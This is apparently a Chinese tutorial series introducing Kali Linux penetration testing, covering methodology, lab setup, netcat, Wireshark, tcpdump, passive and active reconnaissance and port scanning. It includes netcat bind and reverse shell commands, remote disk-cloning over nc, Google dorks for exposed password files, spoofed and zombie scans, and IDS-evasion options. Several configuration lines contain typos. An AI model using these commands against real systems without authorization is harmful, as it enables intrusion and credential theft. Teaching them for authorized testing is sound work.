作为渗透测试的第一篇文章,本文主要将带领你进行基础的渗透测试学习,若想要进一步学习可参考更多渗透测试以及黑客入侵与防御书籍
Kali Linux 从入门到精通(一)-概论
基本介绍
- 1.安全目标
- 先于攻击者发现和防止漏洞出现
- 攻击型安全
- 防护型安全
- 2.渗透测试
- 尝试挫败安全防御机制,发现系统安全弱点
- 从攻击者的角度思考,测量安全防护有效性
- 证明安全问题的存在,而非破坏
- 道德约束
- 法律
- 3.渗透测试标准(The Penetration Testing Execution Standard)
- PETS (http://www.pentest-standard.org)
- 前期交互阶段:需要划清范围,通常划分为多个子系统进行渗透测试
- 情报收集阶段:主动收集,被动收集
- 威胁建模阶段:逆向工程,编写针对漏洞的代码
- 漏洞分析阶段
- 渗透攻击阶段
- 后渗透测试阶段
- 渗透测试报告
- 4.渗透测试项目
- 渗透测试范围
- 获得授权(客户授权)
- 渗透测试方法
- 是否允许社会工程学
- 是否允许拒绝服务攻击
- 5.渗透测试误区
- 扫描器就是一切<==只是一种手段
- 忽视业务逻辑重的漏洞
- 扫描器就是一切<==只是一种手段
- 6.KALI Linux介绍
- 基于Debain的Linux发行版本
- 前身是BackTrack 2013年3月发布
- 用于渗透测试和安全审计
- 包含600+安全工具
- FHS标准目录结构
- 定制内核
- 支持ARM和手机平台
- 开源免费
- 7.KALI LINUX 策略
- ROOT用户策略
- 网络服务策略
- 更新升级策略
- 8.建议
- 实践是检验真理的唯一标准
- 不要停留在了解的程度
- Kali很强大,但不是全部
Kali Linux 从入门到精通(二)-安装
Kail Linux 安装
- 持久加密USB安装-1
- LUSK:Linux Unified Key Setup
- 磁盘分区加密规范
- 不依赖与操作系统的磁盘级加密
- Window——-DoxBox
- 后端: dm-crypt
- 前端: crtptsetup
- 微软的bitlocker
- 将镜像刻录到U盘
- dd if=kali-linux-version.iso of=/dev/sd* bs=1M(if–input file of=output file bs具体传输块的大小)
- LUSK:Linux Unified Key Setup
- 持久加密USB安装-2
- 为U盘创建额外分区
- 使用LUKS加密分区
- 打开加密分区
- 格式化加密分区+卷标
- 挂在加密分区,并创建persistence.conf文件
熟悉环境
- 登录密码:官方下载:用户root 密码为toor
- top10安全工具
- aircrack-ng 无线安全攻击套件
- brupsuite:基于web,手动web渗透测试工具,通过截断客户端到服务器的请求,通过变更数据查看漏洞
- hydra:密码破解工具
- john:密码破解工具
- maltgo:收集信息,层级性的信息收集手段,根据有限信息,收集大量信息
- metasplot framework:渗透测试框架,可以替代很多安全工具,一体化作战工具
- nmap:网络发现层的扫描器,网络扫描工具
- owasp-zap:与brupsuit属于一类工具
- sqlmap: sql注入工具
- wireshark: 抓包分析工具
- 字体调整
- 监视网络流量
- 强行终止程序
- 文件目录
- 共享文件
Kali 目录结构
- bin:所有用户使用的执行程序目录
- root: 引导程序目录:如grup
- dev:设备目录
- etc:配置文件目录
- home:用户主目录
- lib: 放置各种库文件目录
- lib64
- lost+found: 丢失文件目录
- media:挂载外接目录
- mnt
- opt:应用程序目录
- proc
- root
- sbin
- selinux
- srv
- sys
- sbin
- share
- var:日志,存放经常变动的目录
熟悉常用bash命令
- ls:相当于dir
- ls -l:
- 前面字符:d 表示目录 - 表示文件 l 表示链接,相当于快捷方式 c表示设备 -b 表示块设备
- ls -a:
- ls -lh:以k显示
- ls -lh –sort==size 进行排序
- cd:进入目录
- cd . 表示当前目录
- cd .. 进入上一级目录
- pwd 当前工作目录
- cd 进入用户主目录
- cat:查看文件内容
- more:会显示文件的百分比数
- less
- tail 文件: 显示文件最后几行
- watch -n t [命令] 每隔t秒查看信息
- rm:删除文件
- cp:拷贝命令 cp ps ps1
- top:监视linux系统性能的命令
- ps:查看进程信息
- ps aux
- grep:grep [文件字符串或者需要的内容] 文件位置
- ifconfig:查看网络信息
- ifconfig eth0 down 将网卡宕掉
- ifconfig eth0 up 重新启动网卡
- netstat:查看网络连接信息
- netstat -pautu: 进行网络连接信息
- awk
- 管道:可对信息进行筛选,管道亦有很多命令(需掌握)
- mount:用来挂载的命令
- dmesg:查看msg文件内容
- find:
- find / -nmap nmap 查找文件
- find . [文件] 查找当前目录中的文件
- whereis [文件] -b [查找二进制执行文件]
- echo:显示当前文件
- man指令:相当于手册
vi编辑器基本使用(后续补充)
- : set nu 显示行号
- : wq 保存退出
管道(后续补充)
- | 管道符
- ||
- & 前后两个命令依次执行
- && 逻辑与会有逻辑短路现象
shell脚本(后续补充)
1 | #!/bin/bash |
1 | #!/bin/bash |
1 | # 循环发现所有活的ip地址 |
Kali Linux 从入门到精通(三)-入侵系统定制
定制
网络配置
- 临时IP地址
- dhclient eth0
- ifconfig eth0 192.168.11/24
- route add default gw 192.168.1.1 # 添加默认网关
- echo nameserver 192.168.1.1 > /etc/resolv.conf
- 固定IP地址(计算机重启后依然生效)
- auto th0
- iface th0 inel stalic
- address 192.168.20.1
- netmask 255.255.255.0
- network 192.168.20.255
- broadcast 192.168.20.255
- gateway 192.168.20.2
- dns-nameservers 192.168.1.1 192.168.1.2
- up route add -net 172.16.5.0 gw 192.168.10.100 eth1
- down route del -net 172.24.0.0/24
- 临时IP地址
更新升级
- apt-get update: 实际上是更新的是包的索引文件
- apt-get upgrade: 实际更新包的指令
安装软件包
- 库
- apt-get 命令
- 安装适合自己的工具软件
- apt-get install smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule qbittorrent geany stardict meld ttf-wqy-microhei kchmviewer freemind netspeed mtr filezilla filezilla-common chromium monodevelop mono-gmcs-y
- 库
浏览器插件
- firefox浏览器插件
- flashgof(基于浏览器插件的下载插件),autoproxy(翻墙插件),Tamper Data(提交修改),cooike,importer,Cookies Manager,Download Youtube Videos as MP4,Firebug,Flagfox(显示服务器位置),HackBar(F9进入操作),hashr(计算Hash值),User Agent Switcher(修改User Agent 可用于欺骗服务器),XSS me,SQL Inject Me
- xss-me:https://addons.mozilla.org/en-US/firefox/addon/xss-me/
- sql-inject-me: https://addons.mozilla/en-US/firefox/sql-inject-me/src=ss
- firefox浏览器插件
Kali Linux 从入门到精通(四)-代理
翻墙&代理
GFW长城防火墙
- Facebook,youtube
client–>goagent–>GAE–>目标网站
翻墙
- http代理:明文传输存在弊端,容易被长城防火墙发现容量,现在可以使用https进行加密
- socks代理
- ssh代理
- VPN
Goagent
Tor:暗网
- 保护隐私防止被追踪
- 志愿者组成
- 长期在天朝无法使用
- 感谢云
- 暗网
- 互联网引擎无法发现
- 互联网黑市
- 代理的意义所在
- 加密通信
- 隐藏来源
- 突破网络封锁
- 注意事项
- 不要触及敏感地带
- 不要从事非法行为
Kali Linux 从入门到精通(五)-测试环境准备
准备实验环境
渗透非系统授权的弊端
搭建自己的实验环境
安装虚拟机
微软最新软件
windows虚拟机
安装自己的虚拟机(windows平台)
- xp
- Win7
- 2003
Linux虚拟机
Ubutu
- Lamp安装
- sudo apt-get install ssh
- sudo apt-get install apache2
- sudo apt-get install apache2-utile/
- sudo service apache2 restart(报错解决: vi /etc/apache2/conf-available/fqdn.conf:ServerName:localhost)
- sudo apt-get nstall mysql-server libapache2-mod-auth-mysql php5-mysql
- mysql install db
- mysql secure installation
- sudo apt-get install php5 php5-mysql
- cd /var/www/html
- vi test.php
- sudo init 0 关机
- sudo init 6 重启
- sudo init 1 单用户
- sudo init 2-5 多用户
- Lamp安装
Metasploitable2(务必下载)
- http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip
- 默认账户:msfadmin
- 查看ip:ifconfig
- 问题: /var/www/multilldae/config.inc
- 解决措施:
- cd /var/www/mutillidae/
- vi config.inc
- $dbname=”owasp10”:^n
- 解决措施:
- http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip
模拟真实网络
M0n0wall 防火墙
- http://m0n0.ch/wall/downloads.php (轻量级防火墙 downloads cdrom)
部署:
- 接外网,内网,DMZ区
- 256MB,8GB硬盘 m0n0虚拟机
- 网卡1: 桥接方式网络,连接物理网络,桥接外网
- 网卡2: 仅主机,虚拟网卡
- 网卡3: 同网卡2
- 无挂载,硬盘重启
- 背靠背防火墙(测试复杂网络架构 模拟高级企业网络拓扑)
- Pfense(安全性高,集成大量安全插件,防护dmz)
- http://pfense.org/ (类似于m0n0)
Kali Linux 从入门到精通(五)-基本工具使用
基本工具
常用工具:
经常使用且功能强大
安全从业者必不可少的帮手
Nc/ncat
Wireshark
Tcpdump
NETCAT-NC(瑞士军刀)
- 基本介绍
- 网络工具中的瑞士军刀-小身材,大智慧
- 侦听模式/传输模式
- telnet/获取banner模式
- 传输文本信息
- 传输文件/目录
- 加密传输文件
- 远程控制/木马
- 加密所用流量
- 流媒体服务器
- 远程克隆硬盘
- 一波操作
- NC-TELNET/BANNER
- nc-nv 1.1.1.1 110 (pop3 服务器)
- nc-nv 1.1.1.1 25 (smtp 邮件服务器)
- nc-nv 1.1.1.1 80 (网站)
- nc -h 查看nc可用参数
- NC-传输文本信息
- A:nc -l -p 4444(打开4444端口) 使用netstat -pantu | grep 4444 查看端口是否打开
- B:nc -nv 1.1.1.1 4444
- nc -q 传输后直接断连接
- 远程电子取证信息收集
- NC-传输文件/目录
- 传输文件
- A:nc -lp 333>test.mp4
- B:nc -nv 1.1.1.1 333 < test.mp4 -q 1
- or
- A: nc-q l -lp 333<a.mp4
- B: nc-nv 1.1.1.1 333>2.mp4
- 传输目录
- A:tar -cvf -music/ | nc-lp 333 -q 1
- B:nc -nv 1.1.1.1 333 | tar -xvf -
- 加密传文件
- A:nc -lp 333 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
- B:mcrypt –flush -Fbq -a rjindael-256-m ecb <a.mp4 | nc -nv 1.1.1.1 333 -q 1(对称加密算法)
- NC-流媒体服务
- A:cat 1.mp4 | nc -lp 333
- B:nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
- NC-端口扫描
- nc -nvz 1.1.1.1-65535 (探测tcp端口)
- nc -nvzu 1.1.1.1-1024 (探测udp端口)
- NC-远程克隆硬盘
- A(接收端):nc -lp 333 | dd of=/dev/sda
- B(被取证电脑):dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
- 远程电子取证,可以将目标服务器远程复制,或者内存
- NC-远程控制
- 正向:
- A(服务器):nc -lp 333 -c bash
- B(客户端):nc 1.1.1.1 333
- 反向:
- A:nc -lp 333
- B:nc 1.1.1.1 333 -c bash
- 注:windows用户把bash改成cmd
- 适用于内网访问外网
- NC-NCAT
- NC缺乏加密和身份验证(肉鸡可能被窃取)的能力
- Ncat包含于nmap工具包中(可实现加密,身份验证,每次会重新生成指纹信息)
- A:ncat -c bash –allow 192.168.20.14 -vnl 333 –ssl
- B:ncat -nv 1.1.1.1 333 –ssl
- 不同系统/平台的nc参数功能不尽相同
WIRESHARK(后续补充)-被动扫描大法
- 基本介绍
- 抓包嗅探协议分析
- 安全专家必备的技能
- 抓包引擎
- Libcap9—-Linux
- Winpcap10—Windows
- 解码能力(评价之根本)
- 基本使用方法
- 启动
- 选择抓包网卡
- 混杂模式
- 实时抓包
- 保存和分析捕获文件
- 首选项
- WIRESHARK-筛选器
- 过滤掉干扰的数据包
- 抓包筛选器
- 显示筛选器
- WIRESHARK-常见协议包
- 数据的分层结构
- ARP
- ICMP
- TCP(三次握手)
- UDP
- DNS
- HTTP(明文协议)
- FTP
- WIRESHARK-TCP
- 数据流
- HTTP
- SMTP
- POP3
- SSL
- WIRESHARK-信息统计
- 节点数
- 协议分布
- 包大小分布
- 会话连接
- 解码方式
- 专家系统
- WIRESHARK-实践
- 抓包对比nc,ncat加密与不加密的流量
- 企业抓包部署方案(采用商业化软件)
- Sniffer
- Cace/riverebed (底层基于wireshark)
- Cascad pilot(大流量抓包++)
- 镜像端口(Cisco)
TCPDUMP- 基本介绍
- No-GUI的抓包分析工具
- Linux,Unix系统默认安装
- TCPDUMP-抓包
- 抓包
- 默认只抓68个字节
- tcpdump -i eth0 -s 0 -2 file.pcap
- tcpdump -i eth0 port 22
- 读取抓包文件
- tcpdump -r file.pcap
- TCPDUMP-筛选
- tcpdump -n http.cap | awk ‘{print $3}’ | sort -u
- tcpdump -n src host [ip address] -r http.cap
- tcpdump -n dst host [ip address] -r http.cap
- tcpdump -n port 53 -r http.cap
- tcpdump -nX port 80 -r http.cap
- TCP 高级筛选
- tcpdump -A -n ‘tcp[13]=24’ -r http.cap
- 过程文档记录
- Dradis(Kali 自带)
- 短期临时小团队资源共享
- 各种插件导入问价
- Keepnote
- Truecrypt(注重信息保密)
- 团队中需要文档人员
Kali Linux 从入门到精通(七)-被动信息收集
被动信息收集
- 公开渠道可获得的信息
- 与目标系统不产生直接交互
- 尽量避免留下一切痕迹
- OSINT
- 美国军方
- 北大西洋公约组织
- Passive reconnaissance(no direct interaction)
- normal interaction
- Active reconnaissance
- More information greater chance of direction
信息收集内容- IP地址段
- 域名信息
- 邮件地址
- 文档图片数据
- 公司地址
- 公司组织架构
- 联系电话/传真号码
- 人员姓名/职位
- 目标系统使用的技术架构
- 公开的商业信息
信息用途- 用信息描述目标
- 发现
- 社会工程学攻击
- 物理缺口
信息收集-DNS
- 域名与FQDN的区别
- sina.com 实际域名
- www.sina.com 完全限定域名 简称为FQDN
- 域名记录:A(主机记录),Cname(解析成另外一个域名) NS(域的域名服务器记录),MX(邮件交换记录),ptr(不同于前面,通过ip地址解析域名 反向域名 解析)
- 递归查询
- 迭代查询
DNS信息收集–NSLOOKUP
- nslookup www.sina.com
- server
- type=a,mx,ns,any
- nslookup -type example.com 156.154.70.22
- text:spf 通过反向域名查询,判断,从而反垃圾邮件
DNS信息收集-DIG- dig @8.8.8.8 www.sina.com mx
- dig www.sina.com any
- 反向查询: dig +noall +answer -x 8.8.8.8
- bind版本信息:dig +noall +answer txt chaos VERSION.BAND @ns3.dnsv4.com
- DNS追踪: dig +trace example.com
- 抓包比较递归查询,迭代查询过程的区别
DNS区域传输- dig @nsl.example.com example.com axfr
- host -T -l sina.com 8.8.8.8
DNS 字典爆破- firece -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt
- dnsdict6 -d4 -t 16 -x sina.com
- dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
- dnsrecon -d sina.com –lifetime 10 -t brt -D dnsbig.txt
- dnscrecon -t std -d sina.com
DNS 注册信息- whois
- whois -h whois.apnic.net 192.0.43.10
- AFRINIC
- APNIC
- ARIN
- IANA
- ICANN
- LACNIC
- NRO
- RIPE
- InterNic
搜索引擎- 公司新闻动态
- 重要雇员信息
- 机密文档/网络拓扑
- 用户名密码
- 目标系统软硬技术架构
SHODAN- 搜索联网的设备
- Banner:http,ftp,ssh,telnet
- https://www,shodan.io/
- 常见filter:
- net (192.168.20.1)
- city
- country(CN,US)
- port(80,21,22,23)
- os
- Hostname(主机或域名)
- server
- 200 OK cisco country:IP
- user:admin pass:password
- http://1.179.177.109:81/index.htm
- linux upnp avtech
- https://account.shodan.io/
- https://www.shodan.io/explore
- Add-Ons
Google 搜索- + 充值 - 支付
- 北京的电子商务公司—北京 intitle:电子商务 intext 法人 intext 电话
- 阿里网站上的北京公司联系人-北京 site:alibaba.com inurl:contact
- 塞班司法案的PDF文档-SOX filetype.pdf
- 法国的支付相关页面-payment site:fr
- Google搜索实例
- input:”level/15/exec/~/show”(交换机)
- intitle:”netbotz appliance””ok”(摄像头)
- inurl /admin/login.php(php登录界面 可爆破)
- inurl:qq.txt(qq号)
- filetype:xls “username | password”
- input:ftp “password” filetype:xls site:baidu.com(ftp)
- inurl:Service.pwd(微软漏洞)
- http://exploit-db.com/google-dorks(谷歌黑客数据库)(google hacking)
- 不同浏览器都有其特有的搜索语法,需熟悉
YANDEX
- 世界第四大搜索引擎-俄罗斯
- https://www.yandex.com/
- 偶尔有惊喜
用户信息
- 邮件,主机
- theharvester -d sina.com -l 300 -b google
- 文件
- metagoofill -d microsoft.com -t pdf -l 200 -o test -f 1.html
MELTAGO(收集信息)
- 申请账号
- 登录使用
其他路径- 社交网络
- 工商注册
- 新闻组/论坛
- 招聘网站
- http://www.archive.org/web/web.php(可查看不同年份的网站代码)
个人专属的密码字典- 按个人信息生成其专属的密码字典
- CUPP-Common User Password Profiler
- git clone https://github.com/Mebus/cupp.git
- python cup.py -i
METADATA- Exif图片信息(图片会记录GPS信息 默认打开)
- Foca
RECON-NG
- 全特性的web侦查框架
- 基于Python开发
- web 信息搜索框架
- 命令格式与msf一致
- 基于Python开发
- 使用方法:
- 模块
- 数据库
- 报告
- DNS查询
- Baidu
- Bing
- Yahoo
- Brute force
- 解析IP地址(查询数据库)
- 联系人
- 报告
- API
Kali Linux 从入门到精通(八)-主动信息收集
基本介绍
- 直接与目标系统交互通信
- 无法避免留下访问的痕迹
- 使用受控的第三方电脑进行探测
- 使用代理或已经被控制的主机
- 做好被封杀的准本
- 使用噪声迷惑目标,淹没真实的探测流量
- 扫描
- 发送不同的探测,根据返回结果判断目标状态
发现
- 识别活着的主机
- 潜在的被攻击目标
- 输出一个IP地址列表
- 2,3,4层发现
二层发现(渗透进目标系统后,发现内网其他信息)- 优点:扫描速度快,可靠
- 缺点:不可路由
- Arp协议:抓包
二层发现–arping命令:
- arping
- arping 1.1.1.1 -c 1
- arping 1.1.1.1 -d (发现重复响应, 两个不同的MAC地址拥有同一个IP,而此时IP为网关地址,此时即为ARP欺骗,实现中间人攻击,窃取密码,篡改数据等恶意参数)
- arping -c 1.1.1.1 | grep “bytes from” | cut -d”” -f 5 | cut -d “(“ -f 2 | cut -d”)” -f 1
- 脚本
- arping1.sh eth0 > addr
- arping2.sh addrs
二层发现–nmap 在二层发现中的应用- nmap 1.1.1.1-254 -sn(可进行网段扫描 -sn表示不进行网段扫描)
- nmap -iL iplist.txt -sn(可对文本文件进行扫描)
- nmap很强大 后面单独介绍
二层发现–Netdiscover
- 专用于二层发现
- 可用于无线和交换环境
- 主动和被动探测
- 主动
- netdiscover -i eth0 -r 1.1.1.0/24
- netdiscover -l iplist.txt
- 被动
- netdiscover -p (将网卡置于混杂模式)
- 主动arp容易触发报警(入侵检测系统触发报警)
二层发现–Scapy- 作为Python库进行调用
- 也可作为单独的工具使用
- 抓包,分析,创建.修改,注入流量
- apt-get install python-gnuplot(处理报警信息)
- Scapy
- ARP().display()
- Sr1()
- Python 脚本
- Arp1.py
- subprocess:调用操作系统
- Arp2.py
发现-三层发现- 优点
- 可路由
- 速度比较快
- 缺点
- 速度比二层慢
- 经常被边界防火墙过滤
- IP,ICMP协议
三层发现-PING命令- Ping 1.1.1.1 -c 2
- Ping -R 1.1.1.1 / tracetoute 1.1.1.1
- Ping 1.1.1.1 -c 1 | grep “bytes from” | cut -d” “ -f 4 | cut -d “:” -f 1
- 脚本
Ping.sh 1.1.1.0
三层发现-Scapy- OSI多层堆叠 手工生成ICMP包/ICMP
- ip=IP()
- ip.dst=”1.1.1.1”
- ping=ICMP()
- a=sr1(ip/ping)
- a.display()
- Ping 不存在的地址
- a=sr1(ip/icmp.timeout=1)
- a=sr1(IP(dst=”1.1.1.1”)/ICMP().timeout=1)
- 脚本
三层发现-nmap- nmap -sn 1.1.1.1-255
- nmap -iL iplist.txt -sn
三层发现-fping- fping 1.1.1.1 -c 1
- fping -g 1.1.1.1 1.1.1.2
- fping -g 1.1.1.0/24
- fping -f iplist.txt
三层发现-Hping- 能够发送几乎所有TCP/IP包
- 功能强大但每次只能扫描一个目标:(
- hping3 1.1.1.1 -icmp -c 2
- for addr in$(seq 1 254):do hping3 1.1.1.$addr –icmp -c 1 >> handle.txt & done
发现-四层发现- 优点:
- 可路由且结果可靠
- 不太可能被防火墙过滤
- 甚至可以发现所有端口都被过滤的主机
- 缺点:
- 基于状态过滤的防火墙可能过滤扫描
- 全端口扫描速度慢
- TCP
- 未经过请求的ACK-RST(可用于判断主机是否存活)
- SYN-SYN/ACK,RST
- UDP
- ICMP端口不可达,一去不复返
四层发现–Scapy(TCP发现)- ACK-TCP Port–RST
- Scapy
- i=IP()
- i.dst=”www.baidu.com"
- t=TCP()
- t.flags=’A’
- r=(i/t)
- a=sr1(r)
- a.display()
- a=sr1(IP(dst=”www.baidu.com")/TCP(dport=80,flags='A'),timeout=1))
- ACK_Ping.py
四层发现–Scapy(UDP发现)- UDP-UDP Port-ICMP
- i=IP()
- u=UDP()
- u.dport=33333
- r=(i/u)
- a=sr1(r.timeout=1,verbose=1)
- A.display()
- ICMP
- UDP_Ping.py
- UDP发现不可靠
四层发现-nmap- nmap 1.1.1.1-254 -PU53 -sn
- nmap 1.1.1.1-254 -PA80 -sn
- nmap -iL iplist.txt -PA80 -sn
四层发现- hping3 -udp 1.1.1.1 -c 1
- for addr in $(seq 1,254); do hping3 -udp 1.1.1.$addr -c 1 >> r.txt; done
- grep Unreachable.txt | cut -d” “ -f 5 | cut -d “=” -f 2
- ./udp_hping.sh 1.1.1.0
- hping3 1.1.1.1 -c 1 (TCP)
- hping3 1.1.1.1
- ./TCP_hping.sh
- Flag 0–ACK.RST
端口扫描
- 端口对应网服务及应用端程序
- 服务端程序的漏洞通过端口攻入
- 发现开发的端口
- 更具体的攻击面
- 攻击流程:发现活的IP->发现开发端口->通过端口漏洞攻入
端口扫描之UDP端口扫描- 假设ICMP port-unreachable 响应代表端口关闭
- 目标系统不响应ICMP port-unreachable时,可能产生误判
- 完整的UDP应用层请求
- 准确性高
- 耗时巨大
- 具体操作
- Scapy UDP Scan
- 端口关闭:ICMP port-unreacheable
- 端口开放:没有回包
- 了解每一种基于UDP的应用层结构很有绷住
- 与三层相同的技术
- 误判
- Scapy
- sr1(IP(dst=”1.1.1.1”)/UDP(dport=53).timeout=1,verbose=1)
- ./udp_scan.py 1.1.1.1 1 100
端口扫描(UDP)-nmap- Nmap
- nmap -sU 1.1.1.1
- 默认的1000个参数
- ICMP host-unreachable
- nmap 1.1.1.1 -sU -p 53
- nmap -iL iplist.txt -sU -p 1-220
端口扫描(TCP)-nmap
- TCP 端口扫描
- 基于连接的协议
- 三次握手
- 隐蔽扫描–syn
- 不建立完整连接
- 应用日志不记录扫描行为-隐蔽
- 僵尸扫描
- 端口开放状态:

- 端口状态

- 极度隐蔽
- 实施条件苛刻
- 可伪造源地址
- 选择僵尸机
- 闲置系统
- 系统使用递增的IPID
- 0
- 随机
- 全连接扫描
- 所有TCP扫描方式都是基于三次握手的变化来判断目标端口状态
隐蔽端口扫描
- Syn-syn.ack-rst
- Scapy
- srl(IP(dst=”your ip address”)/TCP(dport=80),timeout=1,verbose=1)
- ./syn_scan.py
- namp
- nmap -sS 1.1.1.1 -p 80.21.25.110 443
- nmap -sS 1.1.1.1 -p –65535 –open
- nmap -sS 1.1.1.1 -p –open
- nmap -sS -iL iplist.txt -p 80
- hping3
- hping3 1.1.1.1 –scan 80 -S
- hping3 1.1.1.1 –scan [ip] -S
- hping3 1.1.1.1 –scan 0-65535 -S
- hping3 -c 10 -S –spoof [伪造IP] -p ++1 1.1.1.1.3
全连接端口扫描- Scapy
- Syn扫描不需要raw packets
- 内核认为syn/ack是非法包,直接发rst中断连接
- 全连接扫描对scapy比较困难
- sr1(IP(dst=”www.baidu.com")/TCP(dport=22,flags='S'))
- ./tcp_scan1.py
- ./tcp_scan2.py
- iptables(Linux防火墙) -A OUTPUT -p tcp –tcp–flags RST RST -d “www.baidu.com" -j DROP
- nmap
- nmap -sT 1.1.1.1 -p 80
- nmap -sT 1.1.1.1 -p 80.21.25
- nmap -sT 1.1.1.1 -p 80-200
- nmap -sT iplist.txt -p 80
- 默认1000个常用端口
- dmiltry
- 功能简单,但使用简便
- 默认150个最常用的端口
- dmiltry -p 172.16.36.135
- dmiltry -p 172.16.36.135 -o output
- nc
- nc -nv -w 1 -z [your ip address ] 1-100
- for x in ${seq 20 30}; do nc -nv -w 1 -z 1.1.1.1 $x; done | grep open
- for x in $(seq 1 254); do nc -nv -w 1 -z 1.1.1.$x 80; done
僵尸扫描(条件苛刻 需要合格的僵尸机)- 合格的僵尸机:xp系统,windows 2003 server
- Scapy-zombie.py
- i=IP()
- t=TCP()
- rz=(i/f)
- rt=(i/t)
- rz[IP].dst=IPz
- rz[TCP].dport=445
- rt[IP].src=IPz
- rt[IP].dst=IPt
- rt[TCP].dport=22
- az1=sr1(rz) / at=sr1(rt) / az2=sr1(rz)
- az1.dsiplay() / az2.display()
- xp:僵尸机,metasploit:目标机,kali:扫描机
- nmap
- 发现僵尸机
- nmap -p445 www.baidu.com –script=ipideseq nse
- 扫描目标
- nmap 172.16.36.135 -sl 172.16.36.134 -Pn -p 0-100
服务扫描- 识别开放端口上运行的应用
- 识别目标操作系统
- 提高攻击效率
- Banner捕获
- 服务识别
- 操作系统识别
- SNMP分析
- 防火墙识别
Banner捕获- 软件开发商
- 软件名称
- 服务类型
- 版本号
- 直接发现已知的漏洞和弱点
- 连接建立后直接获取banner
- 另类服务识别方法
- 特征行为和响应字段
- 不同的响应可用于识别底层操作系统
- 基本操作
- way1: nc -nv [your ip address]
- way2:python socket:socket 模块用于连接网络服务
1 | import socket |
- Banner不允许抓取,recv无返回将挂起
- way3:
- dmitry -p www.baidu.com
- dmitry -pb www.baidu.com
- way4:
- nmap -sT [ip address] -p 22 --script=banner nse
- way5:
- amap -B "ip address"
- amap -B "ip address" 1-65535
- amap -B "ip address" 1-65535 | grep on
- amap [ip address]
- amap [ip address] -q
- amap [ip address] -qb
- Banner 信息抓取能力有限
- nmap响应特征分析识别服务
- 发送系列复杂的探测
- 依据响应特征signature
- nc -nv 1.1.1.1 80
- nmap 1.1.1.1 -p 80 -sV
SNMP
- 简单网络管理协议
- Community strings
- 信息查询或重新配置
- 识别和绕过防火墙筛选
操作系统识别
- 操作系统识别技术
- 种类繁多
- 好产品采用多种技术组合
- TTL起始值
- Windows: 128(65-128)
- Linux/Unix:64 (1-64)
- 某些Unix:255
- python脚本
from scapy.all import *
win="1.1.1.1"
lin="1.1.1.2"
aw=sr1(IP(dst=win)/ICMP())
al=sr1(IP(dst=linu)/ICMP())
if al[IP].ttl<64
print "host is linux"
else
print "host is windows"
- nmap使用多种技术识别操作系统
- nmap 1.1.1.1 -O
- 系统服务特征
- xprobe2 1.1.1.1
- 结果有误差
- 被动操作系统识别
- IDS
- 抓包分析
- 被动扫描
- p0f
- 结合ARP地址欺骗识别全网OS
SNMP扫描
- 结合ARP地址欺骗识别全网OS
- snmp(简单网络管理协议)
- 信息的金矿
- 经常被错误配置
- public/private/manager
- MIB Tree (查用常用操作系统和设备信息)
- SNMP Management information Base(MIB)
- 树形的网络设备管理功能数据库
- 1.3.6.1.4.77.1.2.25
- onesixtyone 1.1.1.1 public
- onesixtyone -c dict.txt -i hosts -o my.log -w 100
- snmpwalk 1.1.1.1 -c public -v 2c
- 用户
- snmpwalk -c public -v 2c 1.1.1.1 1.36.1.4.1.77.1.2.25
- snmpcheck -t [input ip address]
- snmpcheck -t [input ip address] -c private -v 2
- snmpcheck -t [input ip address] -w
SMP 扫描
- Server Message Block协议
- 微软历史上出现安全最多的协议
- 实现复杂
- 默认开放
- 文件共享
- 空会话未身份认证访问(SMBI)
- 密码策略
- 用户名
- 组名
- 机器名
- 用户,组SID
- Server Message Block协议
- nmap -v -p139,445 192.168.60.1-20
- nmap 192.168.60.4 -p139,445 –script=smb-os-discovery.nse
- nmap -v -p139,445 –script=smb-vuln-*.nse –script-orgs=unsafe=1.1.1.1
- namp:脚本位置: /usr/share/nmap/scripts
- nbtscan -r 192.168.60.0/24
- enum4linux -a 192.168.60.10
SMTP 扫描
- nc -nv 1.1.1.1 25
- VRFY root
- nmap smtp.163.com -p25 –script=smtp-enum-users.nse –script-args=smtp-enum-users.methods={VRFY}
- nmap smtp.163.com -p25 –script=smtp-open-relay.nse
- smtp-user-enum -M VRFY -U users.txt -t 1.1.1.1
- ./smtp.py
防火墙识别
- 通过检查回包,可能识别端口是否经过防火墙过滤
- 设备多种多样,结果存在一定误差
- scapy
- python 脚本
- namp
- nmap有系列防火墙检测功能
- nmap -sA 172.16.36.135 -p 22
负载均衡识别
- 广域网负载均衡
- DNS
- HTTP-Loadbalancing
- Nginx
- Apache
- lbd www.baidu.com
- lbd mail.163.com
WAF识别
- WEB应用防火墙
- wafw00f -l
- wafw00f http://www.microsoft.com
- nmap www.microsoft.com –script=http-waf-detect.nse
- 实际可绕过,需要使用机器学习,结合语法,词法几乎可完全避免sql等web攻击
NMPA补充(强大的扫描器)
- 所有参数
- 主机发现
- sn: 不做端口扫描
- Pn: 不管是否回复,扫描所有要扫的ip,再判断
- PS/PA/PU/PY
- PE/PP//PM
- PO
- -n/-R:不做DNS解析/做解析
- –dns-servers
- –traceroute
- 扫描技术
- sS/sT/sWW
- sU (UDP扫描)
- scanflags
- sI:僵尸扫描
- 服务扫描(探测端口服务)
- sV
- version–intensity
- version-all
- 脚本扫描
- –script-updatedb
- –script-help
- 操作系统检测
- osscan-limit 限制操作系统检测
- 时间和性能相关
- 使得扫描经过一段时间进行重新扫描,不被发现
- –scan-delay [time]
- 防火墙/IDS 欺骗,躲避
- D:伪造源地址,增加噪声IP
- S:欺骗源地址
- zenmap(图形化nmap)
Kali Linux 从入门到精通(九)-弱点扫描
发现弱点
- 发现漏洞
- 基于端口服务扫描结果版本信息(速度慢)
- 搜索已公开的漏洞数据库(数量大)
- 使用弱点扫描器实现漏洞管理
从信息的维度定义漏洞管理- 信息收集
- 扫描发现网络IP,OS,服务,配置,楼栋号
- 能力需求:定义扫描方式内容和目标
- 信息管理
- 格式化信息,并进行筛选,分组,定义优先级
- 能力需求:资产分组,指定所有者,向所有者报告漏洞
- 信息输出
- 向不同层级的人群展示足够的信息量
- 能力需求:生成报告,导出数据,与SIEM集成
弱点扫描类型- 主动扫描
- 有身份验证
- 无身份验证
- 被动扫描
- 镜像端口抓包
- 其他来源输入
- 基于Agent的扫描
